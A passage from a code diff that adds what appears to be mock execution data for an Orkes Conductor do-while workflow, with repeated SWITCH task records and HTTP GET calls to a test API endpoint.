defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__4", + retryCount: 0, + seq: 60, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413860295, + startTime: 1713413860295, + endTime: 1713413860295, + updateTime: 1713413860295, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98768b24-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__5", + retryCount: 0, + seq: 65, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413860629, + startTime: 1713413860629, + endTime: 1713413860629, + updateTime: 1713413860629, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98a98209-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + switchCaseValue: 4, + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref_1__6", + retryCount: 0, + seq: 70, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413860963, + startTime: 1713413860963, + endTime: 1713413860963, + updateTime: 1713413860963, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98dcc70e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + switchCaseValue: 4, + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref_1__7", + retryCount: 0, + seq: 73, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861076, + startTime: 1713413861076, + endTime: 1713413861076, + updateTime: 1713413861076, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98ee0521-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__8", + retryCount: 0, + seq: 76, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861183, + startTime: 1713413861183, + endTime: 1713413861183, + updateTime: 1713413861183, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98fe0ab4-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__9", + retryCount: 0, + seq: 81, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861520, + startTime: 1713413861520, + endTime: 1713413861520, + updateTime: 1713413861520, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "993128a9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__10", + retryCount: 0, + seq: 86, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861851, + startTime: 1713413861851, + endTime: 1713413861851, + updateTime: 1713413861851, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9963d16e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_7: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_7__1", + retryCount: 0, + seq: 47, + pollCount: 1, + taskDefName: "http_7", + scheduledTime: 1713413859406, + startTime: 1713413859472, + endTime: 1713413859483, + updateTime: 1713413859472, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97efa7d7-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9943, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "tjxztrsclyzabbqspjmv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 66, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_7__1", + retryCount: 0, + seq: 47, + pollCount: 1, + taskDefName: "http_7", + scheduledTime: 1713413859406, + startTime: 1713413859472, + endTime: 1713413859483, + updateTime: 1713413859472, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97efa7d7-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9943, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "tjxztrsclyzabbqspjmv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 66, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_8: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__10", + retryCount: 0, + seq: 89, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413862045, + startTime: 1713413862132, + endTime: 1713413862145, + updateTime: 1713413862132, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "998255f1-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:42 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 4274, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "kwmoumdlucxuwgphkxaj", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 87, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_8__1", + retryCount: 0, + seq: 48, + pollCount: 1, + taskDefName: "http_8", + scheduledTime: 1713413859490, + startTime: 1713413859583, + endTime: 1713413859594, + updateTime: 1713413859583, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97fc7918-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9428, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "lwfynuupwbgkcwgqemcs", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_8", + taskReferenceName: "http_ref_8", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + 